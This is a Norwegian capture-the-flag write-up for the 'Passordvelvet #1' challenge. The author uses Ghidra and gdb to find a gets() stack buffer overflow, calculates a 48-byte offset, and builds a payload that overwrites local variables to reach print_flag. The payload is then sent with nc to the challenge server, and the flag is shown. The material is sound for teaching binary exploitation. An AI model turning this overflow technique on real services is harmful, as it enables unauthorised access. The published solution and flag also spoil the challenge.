Passordvelvet #1
Vi har lagt et sikkert passordvelv, klarer du å komme deg inn?
ctf.uiactf.no:4001
File: passordvelvet
$ file passordvelvet
passordvelvet: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dbf580bd679a493f88c9855cd04ee8037f74569a, not stripped
Vi ser at passordvelvet
er en 64-bit ELF executable
. Filen er ikke strippet for debugsymboler.
$ checksec passordvelvet
[*] '/home/hag/ctfuiano/passordvelvet-1/passordvelvet'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Jeg åpner passordvelvet
i Ghidra for å gjøre en statisk analyse av filen.
Her ser vi en disassembly og pseudo
C
-kode formain
-metoden.
Vi ser at
print_flag
-metoden gir oss flagget.
Vi må altså sørge for å gi en input til programmet som tar oss til print_flag
-metoden.
Vi ser to forskjellige sjekker for å komme til print_flag
.
- En variabel sammenlignes med verdien
0x646167656e
(if (local_18 == 0x646167656e)
)- Dette er egentlig strengen;
dagen
- Dette er egentlig strengen;
- En variabel sammenlignes med strengen
sikkerhets
(local_1c = strncmp((char *)&local_48,"sikkerhets",10);
)
Binary exploitation er ikke min sterkeste side og jeg er rusten med både Ghidra
, gdb
og r2
, men la oss prøve.
Vi vet at vi har en buffer overflow
-svakhet i bruken av gets
. Dersom vi klarer å overskrive varablene local_18
og local_48
i minnet med de rette verdiene så ender vi opp med å kjøre print_flag
-metoden.
Jeg bruker gdb
med gef
.
$ gdb passordvelvet
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000001000 _init
0x0000000000001030 putchar@plt
0x0000000000001040 strncmp@plt
0x0000000000001050 puts@plt
0x0000000000001060 fclose@plt
0x0000000000001070 printf@plt
0x0000000000001080 fgetc@plt
0x0000000000001090 gets@plt
0x00000000000010a0 setvbuf@plt
0x00000000000010b0 fopen@plt
0x00000000000010c0 exit@plt
0x00000000000010d0 __cxa_finalize@plt
0x00000000000010e0 _start
0x0000000000001110 deregister_tm_clones
0x0000000000001140 register_tm_clones
0x0000000000001180 __do_global_dtors_aux
0x00000000000011c0 frame_dummy
0x00000000000011c5 print_flag
0x000000000000123a main
0x0000000000001380 __libc_csu_init
0x00000000000013e0 __libc_csu_fini
0x00000000000013e4 _fini
gef➤
Vi ser både main
og print_flag
i metodelisten. La oss se nærmere på main
, men vi må kjøre programmet én gang først for å få de riktige minneadressene:
gef➤ r
Starting program: /home/hag/ctfuiano/passordvelvet-1/passordvelvet
Du har 3 forsøk på å låse opp flagget! :)
Forsøk 0 av 3
Skriv passordet: d
Beklager, sikkerhetslåsen 0x1337 er ikke riktig satt :(
Forsøk 1 av 3
Skriv passordet:
Beklager, sikkerhetslåsen 0x1337 er ikke riktig satt :(
Forsøk 2 av 3
Skriv passordet:
Beklager, sikkerhetslåsen 0x1337 er ikke riktig satt :(
Brukt alle forsøk, prøv igjen senere...[Inferior 1 (process 12053) exited with code 051]
gef➤
gef➤ disas main
Dump of assembler code for function main:
0x000055555555523a <+0>: push rbp
0x000055555555523b <+1>: mov rbp,rsp
0x000055555555523e <+4>: sub rsp,0x40
0x0000555555555242 <+8>: mov QWORD PTR [rbp-0x10],0x1337
0x000055555555524a <+16>: mov QWORD PTR [rbp-0x40],0x0
0x0000555555555252 <+24>: mov QWORD PTR [rbp-0x38],0x0
0x000055555555525a <+32>: mov QWORD PTR [rbp-0x30],0x0
0x0000555555555262 <+40>: mov QWORD PTR [rbp-0x28],0x0
0x000055555555526a <+48>: mov rax,QWORD PTR [rip+0x2e1f] # 0x555555558090 <stdin@@GLIBC_2.2.5>
0x0000555555555271 <+55>: mov ecx,0x0
0x0000555555555276 <+60>: mov edx,0x2
0x000055555555527b <+65>: mov esi,0x0
0x0000555555555280 <+70>: mov rdi,rax
0x0000555555555283 <+73>: call 0x5555555550a0 <setvbuf@plt>
0x0000555555555288 <+78>: mov rax,QWORD PTR [rip+0x2df1] # 0x555555558080 <stdout@@GLIBC_2.2.5>
0x000055555555528f <+85>: mov ecx,0x0
0x0000555555555294 <+90>: mov edx,0x2
0x0000555555555299 <+95>: mov esi,0x0
0x000055555555529e <+100>: mov rdi,rax
0x00005555555552a1 <+103>: call 0x5555555550a0 <setvbuf@plt>
0x00005555555552a6 <+108>: lea rdi,[rip+0xd9b] # 0x555555556048
0x00005555555552ad <+115>: call 0x555555555050 <puts@plt>
0x00005555555552b2 <+120>: mov DWORD PTR [rbp-0x4],0x0
0x00005555555552b9 <+127>: jmp 0x555555555358 <main+286>
0x00005555555552be <+132>: mov eax,DWORD PTR [rbp-0x4]
0x00005555555552c1 <+135>: mov esi,eax
0x00005555555552c3 <+137>: lea rdi,[rip+0xdac] # 0x555555556076
0x00005555555552ca <+144>: mov eax,0x0
0x00005555555552cf <+149>: call 0x555555555070 <printf@plt>
0x00005555555552d4 <+154>: lea rdi,[rip+0xdac] # 0x555555556087
0x00005555555552db <+161>: mov eax,0x0
0x00005555555552e0 <+166>: call 0x555555555070 <printf@plt>
0x00005555555552e5 <+171>: lea rax,[rbp-0x40]
0x00005555555552e9 <+175>: mov rdi,rax
0x00005555555552ec <+178>: mov eax,0x0
0x00005555555552f1 <+183>: call 0x555555555090 <gets@plt>
0x00005555555552f6 <+188>: movabs rax,0x646167656e
0x0000555555555300 <+198>: cmp QWORD PTR [rbp-0x10],rax
0x0000555555555304 <+202>: jne 0x55555555533c <main+258>
0x0000555555555306 <+204>: lea rax,[rbp-0x40]
0x000055555555530a <+208>: mov edx,0xa
0x000055555555530f <+213>: lea rsi,[rip+0xd83] # 0x555555556099
0x0000555555555316 <+220>: mov rdi,rax
0x0000555555555319 <+223>: call 0x555555555040 <strncmp@plt>
0x000055555555531e <+228>: mov DWORD PTR [rbp-0x14],eax
0x0000555555555321 <+231>: cmp DWORD PTR [rbp-0x14],0x0
0x0000555555555325 <+235>: jne 0x55555555532e <main+244>
0x0000555555555327 <+237>: call 0x5555555551c5 <print_flag>
0x000055555555532c <+242>: jmp 0x555555555354 <main+282>
0x000055555555532e <+244>: lea rdi,[rip+0xd6f] # 0x5555555560a4
0x0000555555555335 <+251>: call 0x555555555050 <puts@plt>
0x000055555555533a <+256>: jmp 0x555555555354 <main+282>
0x000055555555533c <+258>: mov rax,QWORD PTR [rbp-0x10]
0x0000555555555340 <+262>: mov rsi,rax
0x0000555555555343 <+265>: lea rdi,[rip+0xd76] # 0x5555555560c0
0x000055555555534a <+272>: mov eax,0x0
0x000055555555534f <+277>: call 0x555555555070 <printf@plt>
0x0000555555555354 <+282>: add DWORD PTR [rbp-0x4],0x1
0x0000555555555358 <+286>: cmp DWORD PTR [rbp-0x4],0x2
0x000055555555535c <+290>: jle 0x5555555552be <main+132>
0x0000555555555362 <+296>: lea rdi,[rip+0xd8f] # 0x5555555560f8
0x0000555555555369 <+303>: mov eax,0x0
0x000055555555536e <+308>: call 0x555555555070 <printf@plt>
0x0000555555555373 <+313>: nop
0x0000555555555374 <+314>: leave
0x0000555555555375 <+315>: ret
End of assembler dump.
Vi vil se nærmere på sjekken som skjer ved addresse 0x0000555555555300
.
0x0000555555555300 <+198>: cmp QWORD PTR [rbp-0x10],rax
Dette er den første sjekken. La oss sette et breakpoint her:
gef➤ b *0x0000555555555300
Breakpoint 2 at 0x555555555300
Vi lager oss også et cyclic
pattern som vi kan bruke som input:
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
Nå kjører vi programmet og sender inn strengen vi genererte:
gef➤ r
Starting program: /home/hag/ctfuiano/passordvelvet-1/passordvelvet
Du har 3 forsøk på å låse opp flagget! :)
Forsøk 0 av 3
Skriv passordet: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Breakpoint 2, 0x0000555555555300 in main ()
Vi ser at vi treffer Breakpoint 2
:
Vi kan se at $rax
er 0x646167656e
som forventet. $rax
sammenlignes med [rbp-0x10]
i cmp
-instruksjonen og vi ser at [rbp-0x10]
peker til en del av pattern
‘et vi genererte.
La oss finne offset
‘en:
gef➤ patter search maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Searching for 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
[+] Found at offset 48 (big-endian search)
Offset er 48
. Nå kan vi begynne på payloaden vår. La oss bygge en payload med 48 bytes padding og legge til verdien vi vet at det sammenlignes med; 0x646167656e
. Vi må reversere hver byte pga. endianness.
$ python -c 'print("A" * 48 + "\x6e\x65\x67\x61\x64")'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnegad
La oss kjøre programmet igjen og bruke den nye payloaden vår som input:
gef➤ r
Starting program: /home/hag/ctfuiano/passordvelvet-1/passordvelvet
Du har 3 forsøk på å låse opp flagget! :)
Forsøk 0 av 3
Skriv passordet: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnegad
Breakpoint 2, 0x0000555555555300 in main ()
Vi ser at vi treffer Breakpoint 2
igjen, men la oss nå se nærmere på [rbp-0x10]
:
gef➤ x/s$rbp-0x10
0x7fffffffd880: "negad"
gef➤ x/5x$rbp-0x10
0x7fffffffd880: 0x6e 0x65 0x67 0x61 0x64
Vi ser at vi har oppnådd ønsket verdi i [rbp-0x10]
. Vi kan nå sette et nytt breakpoint
:
0x0000555555555319 <+223>: call 0x555555555040 <strncmp@plt>
Denne gangen setter vi et breakpoint på 0x0000555555555319
som er strncmp
-metoden:
gef➤ b *0x0000555555555319
Breakpoint 3 at 0x555555555319
La oss kjøre programmet igjen med samme payload:
gef➤ r
Starting program: /home/hag/ctfuiano/passordvelvet-1/passordvelvet
Du har 3 forsøk på å låse opp flagget! :)
Forsøk 0 av 3
Skriv passordet: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnegad
Breakpoint 2, 0x0000555555555300 in main ()
Vi treffer forsatt det første breakpoint’et, men la oss kjøre videre ved å trykke c
:
gef➤ c
Continuing.
Breakpoint 3, 0x0000555555555319 in main ()
Vi treffer det neste breakpoint’et:
Dette betyr at vi har kommet forbi den første if
-sjekken som forventet. Det som er enda mer interessant er at nå kan vi enkelt se hva som kommer til å skje i strncmp@plt
:
strncmp@plt (
$rdi = 0x00007fffffffd850 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAne[...]",
$rsi = 0x0000555555556099 → "sikkerhets",
$rdx = 0x000000000000000a
)
Her ser vi parametrene som klargjøres for strncmp
-metoden. Vi ser at $rsi
peker på strengen sikkerhets
som er forventet basert på hva vi så i Ghidra.
$rdi
derimot peker på starten av payloaden vår.
$rdx
er satt til 0xA
(10
), dette er lengden på strengen som skal sammenlignes. Dette stemmer også overens med koden i Ghidra og lengden på strengen sikkerhets
.
Vi vet nå at strncmp
kommer til å feile fordi $rsi
og $rdi
har ulikt innhold. La oss oppdatere payloaden vår:
$ python -c 'print("sikkerhets" + "A" * 38 + "\x6e\x65\x67\x61\x64")'
sikkerhetsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnegad
Den nye payloaden vår ser slik ut; sikkerhetsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnegad
. Vi har lagt til sikkerhets
som første del av payloaden da vi vet at dette er den samme verdien som finnes i $rsi
. I tillegg har vi fjernet 10 A
‘er, slik at vi har 38 istedet for 48.
Vi tester den nye payloaden på samme måte som tidligere. r
for å kjøre programmet på nytt, c
for å hoppe over det første breakpoint
‘et. Nå ser vi følgende:
strncmp@plt (
$rdi = 0x00007fffffffd850 → "sikkerhetsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAne[...]",
$rsi = 0x0000555555556099 → "sikkerhets",
$rdx = 0x000000000000000a
)
Dette ser lovende ut! Vi fortsetter med c
:
gef➤ c
Continuing.
Kunne ikke finne flagget. Kontakt CTF adm!
[Inferior 1 (process 12546) exited with code 01]
Kunne ikke finne flagget. Kontakt CTF adm!
Vi ser nå at vi har fått en melding fra print_flag
-metoden. Som vi så i Ghidra tidligere ser print_flag
-metoden etter en flag.txt
-fil. Denne finnes ikke lokalt hos oss derfor får vi denne feilmeldingen. La oss prøve payloaden vår på den eksterne tjenesten:
$ nc ctf.uiactf.no 4001
Du har 3 forsøk på å låse opp flagget! :)
Forsøk 0 av 3
Skriv passordet: sikkerhetsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnegad
UIACTF{må være forsiktig med brukerinput}
Suksess! 🤓😁👍🏻
La oss avslutte med en enkel oneliner for å lese ut flagget:
$ python -c 'print("sikkerhets" + "A" * 38 + "\x6e\x65\x67\x61\x64")' | nc ctf.uiactf.no 4001
Du har 3 forsøk på å låse opp flagget! :)
Forsøk 0 av 3
Skriv passordet: UIACTF{må være forsiktig med brukerinput}
Flag
UIACTF{må være forsiktig med brukerinput}